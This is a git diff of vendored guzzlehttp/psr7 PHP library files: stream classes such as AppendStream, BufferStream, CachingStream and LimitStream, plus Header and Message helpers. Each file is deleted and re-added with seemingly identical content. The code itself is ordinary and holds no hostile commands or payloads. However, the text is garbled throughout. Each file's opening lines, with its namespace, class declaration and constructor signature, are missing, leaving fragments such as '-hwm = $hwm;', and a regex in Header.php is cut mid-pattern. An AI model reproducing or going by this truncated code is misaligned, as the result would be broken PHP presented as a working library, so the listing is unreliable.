{ + if (!$stream->isReadable()) { + throw new \InvalidArgumentException('Each stream must be readable'); + } + + // The stream is only seekable if all streams are seekable + if (!$stream->isSeekable()) { + $this->seekable = false; + } + + $this->streams[] = $stream; + } + + public function getContents() + { + return Utils::copyToString($this); + } + + /** + * Closes each attached stream. + * + * {@inheritdoc} + */ + public function close() + { + $this->pos = $this->current = 0; + $this->seekable = true; + + foreach ($this->streams as $stream) { + $stream->close(); + } + + $this->streams = []; + } + + /** + * Detaches each attached stream. + * + * Returns null as it's not clear which underlying stream resource to return. + * + * {@inheritdoc} + */ + public function detach() + { + $this->pos = $this->current = 0; + $this->seekable = true; + + foreach ($this->streams as $stream) { + $stream->detach(); + } + + $this->streams = []; + + return null; + } + + public function tell() + { + return $this->pos; + } + + /** + * Tries to calculate the size by adding the size of each stream. + * + * If any of the streams do not return a valid number, then the size of the + * append stream cannot be determined and null is returned. + * + * {@inheritdoc} + */ + public function getSize() + { + $size = 0; + + foreach ($this->streams as $stream) { + $s = $stream->getSize(); + if ($s === null) { + return null; + } + $size += $s; + } + + return $size; + } + + public function eof() + { + return !$this->streams || + ($this->current >= count($this->streams) - 1 && + $this->streams[$this->current]->eof()); + } + + public function rewind() + { + $this->seek(0); + } + + /** + * Attempts to seek to the given position. Only supports SEEK_SET. + * + * {@inheritdoc} + */ + public function seek($offset, $whence = SEEK_SET) + { + if (!$this->seekable) { + throw new \RuntimeException('This AppendStream is not seekable'); + } elseif ($whence !== SEEK_SET) { + throw new \RuntimeException('The AppendStream can only seek with SEEK_SET'); + } + + $this->pos = $this->current = 0; + + // Rewind each stream + foreach ($this->streams as $i => $stream) { + try { + $stream->rewind(); + } catch (\Exception $e) { + throw new \RuntimeException('Unable to seek stream ' + . $i . ' of the AppendStream', 0, $e); + } + } + + // Seek to the actual position by reading from each stream + while ($this->pos < $offset && !$this->eof()) { + $result = $this->read(min(8096, $offset - $this->pos)); + if ($result === '') { + break; + } + } + } + + /** + * Reads from all of the appended streams until the length is met or EOF. + * + * {@inheritdoc} + */ + public function read($length) + { + $buffer = ''; + $total = count($this->streams) - 1; + $remaining = $length; + $progressToNext = false; + + while ($remaining > 0) { + + // Progress to the next stream if needed. + if ($progressToNext || $this->streams[$this->current]->eof()) { + $progressToNext = false; + if ($this->current === $total) { + break; + } + $this->current++; + } + + $result = $this->streams[$this->current]->read($remaining); + + // Using a loose comparison here to match on '', false, and null + if ($result == null) { + $progressToNext = true; + continue; + } + + $buffer .= $result; + $remaining = $length - strlen($buffer); + } + + $this->pos += strlen($buffer); + + return $buffer; + } + + public function isReadable() + { + return true; + } + + public function isWritable() + { + return false; + } + + public function isSeekable() + { + return $this->seekable; + } + + public function write($string) + { + throw new \RuntimeException('Cannot write to an AppendStream'); + } + + public function getMetadata($key = null) + { + return $key ? null : []; + } +} diff --git a/vendor/guzzlehttp/psr7/src/BufferStream.php b/vendor/guzzlehttp/psr7/src/BufferStream.php index 21e8a996a1..783859c198 100644 --- a/vendor/guzzlehttp/psr7/src/BufferStream.php +++ b/vendor/guzzlehttp/psr7/src/BufferStream.php @@ -1,142 +1,142 @@ -hwm = $hwm; - } - - public function __toString() - { - return $this->getContents(); - } - - public function getContents() - { - $buffer = $this->buffer; - $this->buffer = ''; - - return $buffer; - } - - public function close() - { - $this->buffer = ''; - } - - public function detach() - { - $this->close(); - - return null; - } - - public function getSize() - { - return strlen($this->buffer); - } - - public function isReadable() - { - return true; - } - - public function isWritable() - { - return true; - } - - public function isSeekable() - { - return false; - } - - public function rewind() - { - $this->seek(0); - } - - public function seek($offset, $whence = SEEK_SET) - { - throw new \RuntimeException('Cannot seek a BufferStream'); - } - - public function eof() - { - return strlen($this->buffer) === 0; - } - - public function tell() - { - throw new \RuntimeException('Cannot determine the position of a BufferStream'); - } - - /** - * Reads data from the buffer. - */ - public function read($length) - { - $currentLength = strlen($this->buffer); - - if ($length >= $currentLength) { - // No need to slice the buffer because we don't have enough data. - $result = $this->buffer; - $this->buffer = ''; - } else { - // Slice up the result to provide a subset of the buffer. - $result = substr($this->buffer, 0, $length); - $this->buffer = substr($this->buffer, $length); - } - - return $result; - } - - /** - * Writes data to the buffer. - */ - public function write($string) - { - $this->buffer .= $string; - - // TODO: What should happen here? - if (strlen($this->buffer) >= $this->hwm) { - return false; - } - - return strlen($string); - } - - public function getMetadata($key = null) - { - if ($key == 'hwm') { - return $this->hwm; - } - - return $key ? null : []; - } -} +hwm = $hwm; + } + + public function __toString() + { + return $this->getContents(); + } + + public function getContents() + { + $buffer = $this->buffer; + $this->buffer = ''; + + return $buffer; + } + + public function close() + { + $this->buffer = ''; + } + + public function detach() + { + $this->close(); + + return null; + } + + public function getSize() + { + return strlen($this->buffer); + } + + public function isReadable() + { + return true; + } + + public function isWritable() + { + return true; + } + + public function isSeekable() + { + return false; + } + + public function rewind() + { + $this->seek(0); + } + + public function seek($offset, $whence = SEEK_SET) + { + throw new \RuntimeException('Cannot seek a BufferStream'); + } + + public function eof() + { + return strlen($this->buffer) === 0; + } + + public function tell() + { + throw new \RuntimeException('Cannot determine the position of a BufferStream'); + } + + /** + * Reads data from the buffer. + */ + public function read($length) + { + $currentLength = strlen($this->buffer); + + if ($length >= $currentLength) { + // No need to slice the buffer because we don't have enough data. + $result = $this->buffer; + $this->buffer = ''; + } else { + // Slice up the result to provide a subset of the buffer. + $result = substr($this->buffer, 0, $length); + $this->buffer = substr($this->buffer, $length); + } + + return $result; + } + + /** + * Writes data to the buffer. + */ + public function write($string) + { + $this->buffer .= $string; + + // TODO: What should happen here? + if (strlen($this->buffer) >= $this->hwm) { + return false; + } + + return strlen($string); + } + + public function getMetadata($key = null) + { + if ($key == 'hwm') { + return $this->hwm; + } + + return $key ? null : []; + } +} diff --git a/vendor/guzzlehttp/psr7/src/CachingStream.php b/vendor/guzzlehttp/psr7/src/CachingStream.php index 09e983d622..febade9f41 100644 --- a/vendor/guzzlehttp/psr7/src/CachingStream.php +++ b/vendor/guzzlehttp/psr7/src/CachingStream.php @@ -1,147 +1,147 @@ -remoteStream = $stream; - $this->stream = $target ?: new Stream(Utils::tryFopen('php://temp', 'r+')); - } - - public function getSize() - { - $remoteSize = $this->remoteStream->getSize(); - - if (null === $remoteSize) { - return null; - } - - return max($this->stream->getSize(), $remoteSize); - } - - public function rewind() - { - $this->seek(0); - } - - public function seek($offset, $whence = SEEK_SET) - { - if ($whence == SEEK_SET) { - $byte = $offset; - } elseif ($whence == SEEK_CUR) { - $byte = $offset + $this->tell(); - } elseif ($whence == SEEK_END) { - $size = $this->remoteStream->getSize(); - if ($size === null) { - $size = $this->cacheEntireStream(); - } - $byte = $size + $offset; - } else { - throw new \InvalidArgumentException('Invalid whence'); - } - - $diff = $byte - $this->stream->getSize(); - - if ($diff > 0) { - // Read the remoteStream until we have read in at least the amount - // of bytes requested, or we reach the end of the file. - while ($diff > 0 && !$this->remoteStream->eof()) { - $this->read($diff); - $diff = $byte - $this->stream->getSize(); - } - } else { - // We can just do a normal seek since we've already seen this byte. - $this->stream->seek($byte); - } - } - - public function read($length) - { - // Perform a regular read on any previously read data from the buffer - $data = $this->stream->read($length); - $remaining = $length - strlen($data); - - // More data was requested so read from the remote stream - if ($remaining) { - // If data was written to the buffer in a position that would have - // been filled from the remote stream, then we must skip bytes on - // the remote stream to emulate overwriting bytes from that - // position. This mimics the behavior of other PHP stream wrappers. - $remoteData = $this->remoteStream->read( - $remaining + $this->skipReadBytes - ); - - if ($this->skipReadBytes) { - $len = strlen($remoteData); - $remoteData = substr($remoteData, $this->skipReadBytes); - $this->skipReadBytes = max(0, $this->skipReadBytes - $len); - } - - $data .= $remoteData; - $this->stream->write($remoteData); - } - - return $data; - } - - public function write($string) - { - // When appending to the end of the currently read stream, you'll want - // to skip bytes from being read from the remote stream to emulate - // other stream wrappers. Basically replacing bytes of data of a fixed - // length. - $overflow = (strlen($string) + $this->tell()) - $this->remoteStream->tell(); - if ($overflow > 0) { - $this->skipReadBytes += $overflow; - } - - return $this->stream->write($string); - } - - public function eof() - { - return $this->stream->eof() && $this->remoteStream->eof(); - } - - /** - * Close both the remote stream and buffer stream - */ - public function close() - { - $this->remoteStream->close() && $this->stream->close(); - } - - private function cacheEntireStream() - { - $target = new FnStream(['write' => 'strlen']); - Utils::copyToStream($this, $target); - - return $this->tell(); - } -} +remoteStream = $stream; + $this->stream = $target ?: new Stream(Utils::tryFopen('php://temp', 'r+')); + } + + public function getSize() + { + $remoteSize = $this->remoteStream->getSize(); + + if (null === $remoteSize) { + return null; + } + + return max($this->stream->getSize(), $remoteSize); + } + + public function rewind() + { + $this->seek(0); + } + + public function seek($offset, $whence = SEEK_SET) + { + if ($whence == SEEK_SET) { + $byte = $offset; + } elseif ($whence == SEEK_CUR) { + $byte = $offset + $this->tell(); + } elseif ($whence == SEEK_END) { + $size = $this->remoteStream->getSize(); + if ($size === null) { + $size = $this->cacheEntireStream(); + } + $byte = $size + $offset; + } else { + throw new \InvalidArgumentException('Invalid whence'); + } + + $diff = $byte - $this->stream->getSize(); + + if ($diff > 0) { + // Read the remoteStream until we have read in at least the amount + // of bytes requested, or we reach the end of the file. + while ($diff > 0 && !$this->remoteStream->eof()) { + $this->read($diff); + $diff = $byte - $this->stream->getSize(); + } + } else { + // We can just do a normal seek since we've already seen this byte. + $this->stream->seek($byte); + } + } + + public function read($length) + { + // Perform a regular read on any previously read data from the buffer + $data = $this->stream->read($length); + $remaining = $length - strlen($data); + + // More data was requested so read from the remote stream + if ($remaining) { + // If data was written to the buffer in a position that would have + // been filled from the remote stream, then we must skip bytes on + // the remote stream to emulate overwriting bytes from that + // position. This mimics the behavior of other PHP stream wrappers. + $remoteData = $this->remoteStream->read( + $remaining + $this->skipReadBytes + ); + + if ($this->skipReadBytes) { + $len = strlen($remoteData); + $remoteData = substr($remoteData, $this->skipReadBytes); + $this->skipReadBytes = max(0, $this->skipReadBytes - $len); + } + + $data .= $remoteData; + $this->stream->write($remoteData); + } + + return $data; + } + + public function write($string) + { + // When appending to the end of the currently read stream, you'll want + // to skip bytes from being read from the remote stream to emulate + // other stream wrappers. Basically replacing bytes of data of a fixed + // length. + $overflow = (strlen($string) + $this->tell()) - $this->remoteStream->tell(); + if ($overflow > 0) { + $this->skipReadBytes += $overflow; + } + + return $this->stream->write($string); + } + + public function eof() + { + return $this->stream->eof() && $this->remoteStream->eof(); + } + + /** + * Close both the remote stream and buffer stream + */ + public function close() + { + $this->remoteStream->close() && $this->stream->close(); + } + + private function cacheEntireStream() + { + $target = new FnStream(['write' => 'strlen']); + Utils::copyToStream($this, $target); + + return $this->tell(); + } +} diff --git a/vendor/guzzlehttp/psr7/src/DroppingStream.php b/vendor/guzzlehttp/psr7/src/DroppingStream.php index 680a69752d..9f7420c405 100644 --- a/vendor/guzzlehttp/psr7/src/DroppingStream.php +++ b/vendor/guzzlehttp/psr7/src/DroppingStream.php @@ -1,45 +1,45 @@ -stream = $stream; - $this->maxLength = $maxLength; - } - - public function write($string) - { - $diff = $this->maxLength - $this->stream->getSize(); - - // Begin returning 0 when the underlying stream is too large. - if ($diff <= 0) { - return 0; - } - - // Write the stream or a subset of the stream if needed. - if (strlen($string) < $diff) { - return $this->stream->write($string); - } - - return $this->stream->write(substr($string, 0, $diff)); - } -} +stream = $stream; + $this->maxLength = $maxLength; + } + + public function write($string) + { + $diff = $this->maxLength - $this->stream->getSize(); + + // Begin returning 0 when the underlying stream is too large. + if ($diff <= 0) { + return 0; + } + + // Write the stream or a subset of the stream if needed. + if (strlen($string) < $diff) { + return $this->stream->write($string); + } + + return $this->stream->write(substr($string, 0, $diff)); + } +} diff --git a/vendor/guzzlehttp/psr7/src/FnStream.php b/vendor/guzzlehttp/psr7/src/FnStream.php index 6c93a50100..76a8cc7ba6 100644 --- a/vendor/guzzlehttp/psr7/src/FnStream.php +++ b/vendor/guzzlehttp/psr7/src/FnStream.php @@ -1,163 +1,163 @@ -methods = $methods; - - // Create the functions on the class - foreach ($methods as $name => $fn) { - $this->{'_fn_' . $name} = $fn; - } - } - - /** - * Lazily determine which methods are not implemented. - * - * @throws \BadMethodCallException - */ - public function __get($name) - { - throw new \BadMethodCallException(str_replace('_fn_', '', $name) - . '() is not implemented in the FnStream'); - } - - /** - * The close method is called on the underlying stream only if possible. - */ - public function __destruct() - { - if (isset($this->_fn_close)) { - call_user_func($this->_fn_close); - } - } - - /** - * An unserialize would allow the __destruct to run when the unserialized value goes out of scope. - * - * @throws \LogicException - */ - public function __wakeup() - { - throw new \LogicException('FnStream should never be unserialized'); - } - - /** - * Adds custom functionality to an underlying stream by intercepting - * specific method calls. - * - * @param StreamInterface $stream Stream to decorate - * @param array $methods Hash of method name to a closure - * - * @return FnStream - */ - public static function decorate(StreamInterface $stream, array $methods) - { - // If any of the required methods were not provided, then simply - // proxy to the decorated stream. - foreach (array_diff(self::$slots, array_keys($methods)) as $diff) { - $methods[$diff] = [$stream, $diff]; - } - - return new self($methods); - } - - public function __toString() - { - return call_user_func($this->_fn___toString); - } - - public function close() - { - return call_user_func($this->_fn_close); - } - - public function detach() - { - return call_user_func($this->_fn_detach); - } - - public function getSize() - { - return call_user_func($this->_fn_getSize); - } - - public function tell() - { - return call_user_func($this->_fn_tell); - } - - public function eof() - { - return call_user_func($this->_fn_eof); - } - - public function isSeekable() - { - return call_user_func($this->_fn_isSeekable); - } - - public function rewind() - { - call_user_func($this->_fn_rewind); - } - - public function seek($offset, $whence = SEEK_SET) - { - call_user_func($this->_fn_seek, $offset, $whence); - } - - public function isWritable() - { - return call_user_func($this->_fn_isWritable); - } - - public function write($string) - { - return call_user_func($this->_fn_write, $string); - } - - public function isReadable() - { - return call_user_func($this->_fn_isReadable); - } - - public function read($length) - { - return call_user_func($this->_fn_read, $length); - } - - public function getContents() - { - return call_user_func($this->_fn_getContents); - } - - public function getMetadata($key = null) - { - return call_user_func($this->_fn_getMetadata, $key); - } -} +methods = $methods; + + // Create the functions on the class + foreach ($methods as $name => $fn) { + $this->{'_fn_' . $name} = $fn; + } + } + + /** + * Lazily determine which methods are not implemented. + * + * @throws \BadMethodCallException + */ + public function __get($name) + { + throw new \BadMethodCallException(str_replace('_fn_', '', $name) + . '() is not implemented in the FnStream'); + } + + /** + * The close method is called on the underlying stream only if possible. + */ + public function __destruct() + { + if (isset($this->_fn_close)) { + call_user_func($this->_fn_close); + } + } + + /** + * An unserialize would allow the __destruct to run when the unserialized value goes out of scope. + * + * @throws \LogicException + */ + public function __wakeup() + { + throw new \LogicException('FnStream should never be unserialized'); + } + + /** + * Adds custom functionality to an underlying stream by intercepting + * specific method calls. + * + * @param StreamInterface $stream Stream to decorate + * @param array $methods Hash of method name to a closure + * + * @return FnStream + */ + public static function decorate(StreamInterface $stream, array $methods) + { + // If any of the required methods were not provided, then simply + // proxy to the decorated stream. + foreach (array_diff(self::$slots, array_keys($methods)) as $diff) { + $methods[$diff] = [$stream, $diff]; + } + + return new self($methods); + } + + public function __toString() + { + return call_user_func($this->_fn___toString); + } + + public function close() + { + return call_user_func($this->_fn_close); + } + + public function detach() + { + return call_user_func($this->_fn_detach); + } + + public function getSize() + { + return call_user_func($this->_fn_getSize); + } + + public function tell() + { + return call_user_func($this->_fn_tell); + } + + public function eof() + { + return call_user_func($this->_fn_eof); + } + + public function isSeekable() + { + return call_user_func($this->_fn_isSeekable); + } + + public function rewind() + { + call_user_func($this->_fn_rewind); + } + + public function seek($offset, $whence = SEEK_SET) + { + call_user_func($this->_fn_seek, $offset, $whence); + } + + public function isWritable() + { + return call_user_func($this->_fn_isWritable); + } + + public function write($string) + { + return call_user_func($this->_fn_write, $string); + } + + public function isReadable() + { + return call_user_func($this->_fn_isReadable); + } + + public function read($length) + { + return call_user_func($this->_fn_read, $length); + } + + public function getContents() + { + return call_user_func($this->_fn_getContents); + } + + public function getMetadata($key = null) + { + return call_user_func($this->_fn_getMetadata, $key); + } +} diff --git a/vendor/guzzlehttp/psr7/src/Header.php b/vendor/guzzlehttp/psr7/src/Header.php index 2435b82af6..865d742142 100644 --- a/vendor/guzzlehttp/psr7/src/Header.php +++ b/vendor/guzzlehttp/psr7/src/Header.php @@ -1,71 +1,71 @@ -]+>|[^=]+/', $kvp, $matches)) { - $m = $matches[0]; - if (isset($m[1])) { - $part[trim($m[0], $trimmed)] = trim($m[1], $trimmed); - } else { - $part[] = trim($m[0], $trimmed); - } - } - } - if ($part) { - $params[] = $part; - } - } - - return $params; - } - - /** - * Converts an array of header values that may contain comma separated - * headers into an array of headers with no comma separated values. - * - * @param string|array $header Header to normalize. - * - * @return array Returns the normalized header field values. - */ - public static function normalize($header) - { - if (!is_array($header)) { - return array_map('trim', explode(',', $header)); - } - - $result = []; - foreach ($header as $value) { - foreach ((array) $value as $v) { - if (strpos($v, ',') === false) { - $result[] = $v; - continue; - } - foreach (preg_split('/,(?=([^"]*"[^"]*")*[^"]*$)/', $v) as $vv) { - $result[] = trim($vv); - } - } - } - - return $result; - } -} +]+>|[^=]+/', $kvp, $matches)) { + $m = $matches[0]; + if (isset($m[1])) { + $part[trim($m[0], $trimmed)] = trim($m[1], $trimmed); + } else { + $part[] = trim($m[0], $trimmed); + } + } + } + if ($part) { + $params[] = $part; + } + } + + return $params; + } + + /** + * Converts an array of header values that may contain comma separated + * headers into an array of headers with no comma separated values. + * + * @param string|array $header Header to normalize. + * + * @return array Returns the normalized header field values. + */ + public static function normalize($header) + { + if (!is_array($header)) { + return array_map('trim', explode(',', $header)); + } + + $result = []; + foreach ($header as $value) { + foreach ((array) $value as $v) { + if (strpos($v, ',') === false) { + $result[] = $v; + continue; + } + foreach (preg_split('/,(?=([^"]*"[^"]*")*[^"]*$)/', $v) as $vv) { + $result[] = trim($vv); + } + } + } + + return $result; + } +} diff --git a/vendor/guzzlehttp/psr7/src/InflateStream.php b/vendor/guzzlehttp/psr7/src/InflateStream.php index 2066f9dac7..0cbd2cce27 100644 --- a/vendor/guzzlehttp/psr7/src/InflateStream.php +++ b/vendor/guzzlehttp/psr7/src/InflateStream.php @@ -1,56 +1,56 @@ -read(10); - $filenameHeaderLength = $this->getLengthOfPossibleFilenameHeader($stream, $header); - // Skip the header, that is 10 + length of filename + 1 (nil) bytes - $stream = new LimitStream($stream, -1, 10 + $filenameHeaderLength); - $resource = StreamWrapper::getResource($stream); - stream_filter_append($resource, 'zlib.inflate', STREAM_FILTER_READ); - $this->stream = $stream->isSeekable() ? new Stream($resource) : new NoSeekStream(new Stream($resource)); - } - - /** - * @param StreamInterface $stream - * @param $header - * - * @return int - */ - private function getLengthOfPossibleFilenameHeader(StreamInterface $stream, $header) - { - $filename_header_length = 0; - - if (substr(bin2hex($header), 6, 2) === '08') { - // we have a filename, read until nil - $filename_header_length = 1; - while ($stream->read(1) !== chr(0)) { - $filename_header_length++; - } - } - - return $filename_header_length; - } -} +read(10); + $filenameHeaderLength = $this->getLengthOfPossibleFilenameHeader($stream, $header); + // Skip the header, that is 10 + length of filename + 1 (nil) bytes + $stream = new LimitStream($stream, -1, 10 + $filenameHeaderLength); + $resource = StreamWrapper::getResource($stream); + stream_filter_append($resource, 'zlib.inflate', STREAM_FILTER_READ); + $this->stream = $stream->isSeekable() ? new Stream($resource) : new NoSeekStream(new Stream($resource)); + } + + /** + * @param StreamInterface $stream + * @param $header + * + * @return int + */ + private function getLengthOfPossibleFilenameHeader(StreamInterface $stream, $header) + { + $filename_header_length = 0; + + if (substr(bin2hex($header), 6, 2) === '08') { + // we have a filename, read until nil + $filename_header_length = 1; + while ($stream->read(1) !== chr(0)) { + $filename_header_length++; + } + } + + return $filename_header_length; + } +} diff --git a/vendor/guzzlehttp/psr7/src/LazyOpenStream.php b/vendor/guzzlehttp/psr7/src/LazyOpenStream.php index 72ef6ff952..911e127d31 100644 --- a/vendor/guzzlehttp/psr7/src/LazyOpenStream.php +++ b/vendor/guzzlehttp/psr7/src/LazyOpenStream.php @@ -1,42 +1,42 @@ -filename = $filename; - $this->mode = $mode; - } - - /** - * Creates the underlying stream lazily when required. - * - * @return StreamInterface - */ - protected function createStream() - { - return Utils::streamFor(Utils::tryFopen($this->filename, $this->mode)); - } -} +filename = $filename; + $this->mode = $mode; + } + + /** + * Creates the underlying stream lazily when required. + * + * @return StreamInterface + */ + protected function createStream() + { + return Utils::streamFor(Utils::tryFopen($this->filename, $this->mode)); + } +} diff --git a/vendor/guzzlehttp/psr7/src/LimitStream.php b/vendor/guzzlehttp/psr7/src/LimitStream.php index 26ef1888ec..1173ec40d7 100644 --- a/vendor/guzzlehttp/psr7/src/LimitStream.php +++ b/vendor/guzzlehttp/psr7/src/LimitStream.php @@ -1,157 +1,157 @@ -stream = $stream; - $this->setLimit($limit); - $this->setOffset($offset); - } - - public function eof() - { - // Always return true if the underlying stream is EOF - if ($this->stream->eof()) { - return true; - } - - // No limit and the underlying stream is not at EOF - if ($this->limit == -1) { - return false; - } - - return $this->stream->tell() >= $this->offset + $this->limit; - } - - /** - * Returns the size of the limited subset of data - * {@inheritdoc} - */ - public function getSize() - { - if (null === ($length = $this->stream->getSize())) { - return null; - } elseif ($this->limit == -1) { - return $length - $this->offset; - } else { - return min($this->limit, $length - $this->offset); - } - } - - /** - * Allow for a bounded seek on the read limited stream - * {@inheritdoc} - */ - public function seek($offset, $whence = SEEK_SET) - { - if ($whence !== SEEK_SET || $offset < 0) { - throw new \RuntimeException(sprintf( - 'Cannot seek to offset %s with whence %s', - $offset, - $whence - )); - } - - $offset += $this->offset; - - if ($this->limit !== -1) { - if ($offset > $this->offset + $this->limit) { - $offset = $this->offset + $this->limit; - } - } - - $this->stream->seek($offset); - } - - /** - * Give a relative tell() - * {@inheritdoc} - */ - public function tell() - { - return $this->stream->tell() - $this->offset; - } - - /** - * Set the offset to start limiting from - * - * @param int $offset Offset to seek to and begin byte limiting from - * - * @throws \RuntimeException if the stream cannot be seeked. - */ - public function setOffset($offset) - { - $current = $this->stream->tell(); - - if ($current !== $offset) { - // If the stream cannot seek to the offset position, then read to it - if ($this->stream->isSeekable()) { - $this->stream->seek($offset); - } elseif ($current > $offset) { - throw new \RuntimeException("Could not seek to stream offset $offset"); - } else { - $this->stream->read($offset - $current); - } - } - - $this->offset = $offset; - } - - /** - * Set the limit of bytes that the decorator allows to be read from the - * stream. - * - * @param int $limit Number of bytes to allow to be read from the stream. - * Use -1 for no limit. - */ - public function setLimit($limit) - { - $this->limit = $limit; - } - - public function read($length) - { - if ($this->limit == -1) { - return $this->stream->read($length); - } - - // Check if the current position is less than the total allowed - // bytes + original offset - $remaining = ($this->offset + $this->limit) - $this->stream->tell(); - if ($remaining > 0) { - // Only return the amount of requested data, ensuring that the byte - // limit is not exceeded - return $this->stream->read(min($remaining, $length)); - } - - return ''; - } -} +stream = $stream; + $this->setLimit($limit); + $this->setOffset($offset); + } + + public function eof() + { + // Always return true if the underlying stream is EOF + if ($this->stream->eof()) { + return true; + } + + // No limit and the underlying stream is not at EOF + if ($this->limit == -1) { + return false; + } + + return $this->stream->tell() >= $this->offset + $this->limit; + } + + /** + * Returns the size of the limited subset of data + * {@inheritdoc} + */ + public function getSize() + { + if (null === ($length = $this->stream->getSize())) { + return null; + } elseif ($this->limit == -1) { + return $length - $this->offset; + } else { + return min($this->limit, $length - $this->offset); + } + } + + /** + * Allow for a bounded seek on the read limited stream + * {@inheritdoc} + */ + public function seek($offset, $whence = SEEK_SET) + { + if ($whence !== SEEK_SET || $offset < 0) { + throw new \RuntimeException(sprintf( + 'Cannot seek to offset %s with whence %s', + $offset, + $whence + )); + } + + $offset += $this->offset; + + if ($this->limit !== -1) { + if ($offset > $this->offset + $this->limit) { + $offset = $this->offset + $this->limit; + } + } + + $this->stream->seek($offset); + } + + /** + * Give a relative tell() + * {@inheritdoc} + */ + public function tell() + { + return $this->stream->tell() - $this->offset; + } + + /** + * Set the offset to start limiting from + * + * @param int $offset Offset to seek to and begin byte limiting from + * + * @throws \RuntimeException if the stream cannot be seeked. + */ + public function setOffset($offset) + { + $current = $this->stream->tell(); + + if ($current !== $offset) { + // If the stream cannot seek to the offset position, then read to it + if ($this->stream->isSeekable()) { + $this->stream->seek($offset); + } elseif ($current > $offset) { + throw new \RuntimeException("Could not seek to stream offset $offset"); + } else { + $this->stream->read($offset - $current); + } + } + + $this->offset = $offset; + } + + /** + * Set the limit of bytes that the decorator allows to be read from the + * stream. + * + * @param int $limit Number of bytes to allow to be read from the stream. + * Use -1 for no limit. + */ + public function setLimit($limit) + { + $this->limit = $limit; + } + + public function read($length) + { + if ($this->limit == -1) { + return $this->stream->read($length); + } + + // Check if the current position is less than the total allowed + // bytes + original offset + $remaining = ($this->offset + $this->limit) - $this->stream->tell(); + if ($remaining > 0) { + // Only return the amount of requested data, ensuring that the byte + // limit is not exceeded + return $this->stream->read(min($remaining, $length)); + } + + return ''; + } +} diff --git a/vendor/guzzlehttp/psr7/src/Message.php b/vendor/guzzlehttp/psr7/src/Message.php index 01b44a066f..516d1cb84a 100644 --- a/vendor/guzzlehttp/psr7/src/Message.php +++ b/vendor/guzzlehttp/psr7/src/Message.php @@ -1,252 +1,252 @@ -getMethod() . ' ' - . $message->getRequestTarget()) - . ' HTTP/' . $message->getProtocolVersion(); - if (!$message->hasHeader('host')) { - $msg .= "\r\nHost: " . $message->getUri()->getHost(); - } - } elseif ($message instanceof ResponseInterface) { - $msg = 'HTTP/' . $message->getProtocolVersion() . ' ' - . $message->getStatusCode() . ' ' - . $message->getReasonPhrase(); - } else { - throw new \InvalidArgumentException('Unknown message type'); - } - - foreach ($message->getHeaders() as $name => $values) { - if (strtolower($name) === 'set-cookie') { - foreach ($values as $value) { - $msg .= "\r\n{$name}: " . $value; - } - } else { - $msg .= "\r\n{$name}: " . implode(', ', $values); - } - } - - return "{$msg}\r\n\r\n" . $message->getBody(); - } - - /** - * Get a short summary of the message body. - * - * Will return `null` if the response is not printable. - * - * @param MessageInterface $message The message to get the body summary - * @param int $truncateAt The maximum allowed size of the summary - * - * @return string|null - */ - public static function bodySummary(MessageInterface $message, $truncateAt = 120) - { - $body = $message->getBody(); - - if (!$body->isSeekable() || !$body->isReadable()) { - return null; - } - - $size = $body->getSize(); - - if ($size === 0) { - return null; - } - - $summary = $body->read($truncateAt); - $body->rewind(); - - if ($size > $truncateAt) { - $summary .= ' (truncated...)'; - } - - // Matches any printable character, including unicode characters: - // letters, marks, numbers, punctuation, spacing, and separators. - if (preg_match('/[^\pL\pM\pN\pP\pS\pZ\n\r\t]/u', $summary)) { - return null; - } - - return $summary; - } - - /** - * Attempts to rewind a message body and throws an exception on failure. - * - * The body of the message will only be rewound if a call to `tell()` - * returns a value other than `0`. - * - * @param MessageInterface $message Message to rewind - * - * @throws \RuntimeException - */ - public static function rewindBody(MessageInterface $message) - { - $body = $message->getBody(); - - if ($body->tell()) { - $body->rewind(); - } - } - - /** - * Parses an HTTP message into an associative array. - * - * The array contains the "start-line" key containing the start line of - * the message, "headers" key containing an associative array of header - * array values, and a "body" key containing the body of the message. - * - * @param string $message HTTP request or response to parse. - * - * @return array - */ - public static function parseMessage($message) - { - if (!$message) { - throw new \InvalidArgumentException('Invalid message'); - } - - $message = ltrim($message, "\r\n"); - - $messageParts = preg_split("/\r?\n\r?\n/", $message, 2); - - if ($messageParts === false || count($messageParts) !== 2) { - throw new \InvalidArgumentException('Invalid message: Missing header delimiter'); - } - - list($rawHeaders, $body) = $messageParts; - $rawHeaders .= "\r\n"; // Put back the delimiter we split previously - $headerParts = preg_split("/\r?\n/", $rawHeaders, 2); - - if ($headerParts === false || count($headerParts) !== 2) { - throw new \InvalidArgumentException('Invalid message: Missing status line'); - } - - list($startLine, $rawHeaders) = $headerParts; - - if (preg_match("/(?:^HTTP\/|^[A-Z]+ \S+ HTTP\/)(\d+(?:\.\d+)?)/i", $startLine, $matches) && $matches[1] === '1.0') { - // Header folding is deprecated for HTTP/1.1, but allowed in HTTP/1.0 - $rawHeaders = preg_replace(Rfc7230::HEADER_FOLD_REGEX, ' ', $rawHeaders); - } - - /** @var array[] $headerLines */ - $count = preg_match_all(Rfc7230::HEADER_REGEX, $rawHeaders, $headerLines, PREG_SET_ORDER); - - // If these aren't the same, then one line didn't match and there's an invalid header. - if ($count !== substr_count($rawHeaders, "\n")) { - // Folding is deprecated, see https://tools.ietf.org/html/rfc7230#section-3.2.4 - if (preg_match(Rfc7230::HEADER_FOLD_REGEX, $rawHeaders)) { - throw new \InvalidArgumentException('Invalid header syntax: Obsolete line folding'); - } - - throw new \InvalidArgumentException('Invalid header syntax'); - } - - $headers = []; - - foreach ($headerLines as $headerLine) { - $headers[$headerLine[1]][] = $headerLine[2]; - } - - return [ - 'start-line' => $startLine, - 'headers' => $headers, - 'body' => $body, - ]; - } - - /** - * Constructs a URI for an HTTP request message. - * - * @param string $path Path from the start-line - * @param array $headers Array of headers (each value an array). - * - * @return string - */ - public static function parseRequestUri($path, array $headers) - { - $hostKey = array_filter(array_keys($headers), function ($k) { - return strtolower($k) === 'host'; - }); - - // If no host is found, then a full URI cannot be constructed. - if (!$hostKey) { - return $path; - } - - $host = $headers[reset($hostKey)][0]; - $scheme = substr($host, -4) === ':443' ? 'https' : 'http'; - - return $scheme . '://' . $host . '/' . ltrim($path, '/'); - } - - /** - * Parses a request message string into a request object. - * - * @param string $message Request message string. - * - * @return Request - */ - public static function parseRequest($message) - { - $data = self::parseMessage($message); - $matches = []; - if (!preg_match('/^[\S]+\s+([a-zA-Z]+:\/\/|\/).*/', $data['start-line'], $matches)) { - throw new \InvalidArgumentException('Invalid request string'); - } - $parts = explode(' ', $data['start-line'], 3); - $version = isset($parts[2]) ? explode('/', $parts[2])[1] : '1.1'; - - $request = new Request( - $parts[0], - $matches[1] === '/' ? self::parseRequestUri($parts[1], $data['headers']) : 